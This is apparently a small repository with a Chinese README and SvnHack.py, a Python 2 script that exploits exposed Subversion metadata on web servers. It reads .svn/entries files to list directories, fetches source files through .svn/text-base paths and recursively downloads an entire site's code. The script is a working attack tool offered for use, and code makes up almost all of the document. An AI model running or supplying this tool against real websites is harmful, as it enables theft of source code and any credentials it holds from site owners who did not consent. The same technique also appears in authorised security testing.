├── README.md └── SvnHack.py /README.md: -------------------------------------------------------------------------------- 1 | SvnHack 2 | = 3 | 4 | 一个Svn信息泄露辅助工具,可以使用这个脚本列取网站目录,读取源码文件以及下载整站代码。 5 | 6 | Usage: SvnHack.py [options] 7 | 8 | Options: 9 | 10 | -h, --help show this help message and exit 11 | 12 | -u Url, --url=Url add a svn url. 13 | 14 | -d Dic, --dic=Dic list a directory. 15 | 16 | -r READFILE, --read=READFILE read a file. 17 | 18 | --download download the entire station. 19 | 20 | 例子 21 | = 22 | 列取目录: 23 | 24 | - 根目录 python SvnHack.py -u http://x.x.x.x/.svn/entries 25 | 26 | - 指定目录 python SvnHack.py -u http://x.x.x.x/.svn/entries -d scripts 27 | 28 | 读源码: 29 | 30 | - 指定文件 python SvnHack.py -u http://x.x.x.x/.svn/entries -d scripts -r upd.js 31 | 32 | 下载整站: 33 | 34 | - python SvnHack.py -u http://x.x.x.x/.svn/entries —download 35 | 36 | -------------------------------------------------------------------------------- /SvnHack.py: -------------------------------------------------------------------------------- 1 | #!coding:utf-8 2 | """ Auther: 加菲猫 """ 3 | from optparse import OptionParser 4 | import urllib 5 | import urlparse 6 | import re 7 | import os 8 | import sys 9 | 10 | class Svn_Hack(): 11 | def __init__(self): 12 | self.root_dir = None 13 | self.url = None 14 | 15 | def List_Dic(self): 16 | res=urllib.urlopen(self.url).read() 17 | 18 | dic = re.findall(r'\n(.*?)\ndir',res) 19 | for i in dic: 20 | if i == '': 21 | continue 22 | print '\033[1;34;40m%s' % i 23 | print '\033[0m--------' 24 | 25 | for i in re.findall(r'\n(.*?)\nfile',res): 26 | print i 27 | 28 | def Read_File(self): 29 | res=urllib.urlopen(self.url).read() 30 | print res 31 | 32 | def is_exists(self, Dir): 33 | if not os.path.exists(Dir): 34 | return True 35 | else: 36 | return False 37 | 38 | def Fetch_Dic(self, entries_url): 39 | res=urllib.urlopen(entries_url).read() 40 | try: 41 | dic = re.findall(r'\n(.*?)\ndir',res) 42 | dic.remove('') 43 | except Exception: 44 | dic = [] 45 | 46 | next_url_list = [] 47 | if len(dic) != 0: 48 | for i in dic: 49 | url = entries_url.split('.svn')[0]+i+'/.svn/entries' 50 | path = "./"+self.root_dir+urlparse.urlparse(url).path 51 | if self.is_exists(path): 52 | os.makedirs(path) 53 | 54 | next_url_list.append(url) 55 | 56 | return next_url_list 57 | 58 | 59 | def DownFile(self, entries_url): 60 | res=urllib.urlopen(entries_url).read() 61 | try: 62 | dic = re.findall(r'\n(.*?)\nfile',res) 63 | except Exception: 64 | dic = [] 65 | 66 | if len(dic) != 0: 67 | for i in dic: 68 | url=entries_url.split('.svn')[0]+i 69 | path = "./"+self.root_dir+urlparse.urlparse(url).path 70 | res=urllib.urlopen(url).read() 71 | print "[Fetch] %s" % url 72 | with open(path,'a+') as f: 73 | f.write(res) 74 | 75 | def DownSite(self): 76 | res=urllib.urlopen(self.url).read() 77 | 78 | self.root_dir = urlparse.urlparse(self.url).netloc 79 | 80 | # 初始化下载目录 81 | if self.is_exists(self.root_dir): 82 | os.mkdir(self.root_dir) 83 | 84 | # 获取所有svn目录 85 | dir_list = [] 86 | dic = re.findall(r'\n(.*?)\ndir',res) 87 | 88 | print len(dic) 89 | 90 | for i in dic: 91 | # 空目录跳过 92 | if i == '': 93 | continue 94 | 95 | # 循环下载所有目录 96 | if self.is_exists(self.root_dir+"/"+i): 97 | os.mkdir(self.root_dir+"/"+i) 98 | entries_url = self.url.split('.svn')[0]+i+'/.svn/entries' 99 | dir_list.append(entries_url) 100 | while len(dir_list) != 0: 101 | next_dic = self.Fetch_Dic(dir_list.pop()) 102 | if len(next_dic) != 0: 103 | for url in next_dic: 104 | dir_list.append(url) 105 | self.DownFile(url) 106 | #print url, len(dir_list) 107 | 108 | #sys.exit() 109 | 110 | # 下载根目录文件 111 | self.DownFile(self.url) 112 | 113 | def audit(self): 114 | 115 | parser = OptionParser() 116 | parser.add_option("-u", "--url", dest="url", 117 | help="add a svn url.", metavar="Url") 118 | parser.add_option("-d", "--dic", dest="dirname", 119 | help="list a directory.", metavar="Dic") 120 | parser.add_option("-r", "--read", dest="readfile", 121 | help="read a file.") 122 | parser.add_option("--download", dest="download", 123 | action='store_true', 124 | help="download the entire station.") 125 | 126 | (options, args) = parser.parse_args() 127 | 128 | if options.url != None: 129 | self.url = options.url 130 | 131 | if options.dirname != None: 132 | self.url = self.url.split('.svn')[0]+options.dirname+'/.svn/entries' 133 | 134 | if options.download == True: 135 | self.DownSite() 136 | sys.exit() 137 | 138 | if options.readfile != None: 139 | filename = options.readfile 140 | self.url = self.url.split('.svn')[0]+'/.svn/text-base/'+options.readfile+'.svn-base' 141 | self.Read_File() 142 | else: 143 | self.List_Dic() 144 | 145 | else: 146 | parser.print_help() 147 | 148 | 149 | if __name__ == '__main__': 150 | svn = Svn_Hack() 151 | svn.audit() 152 | 153 | --------------------------------------------------------------------------------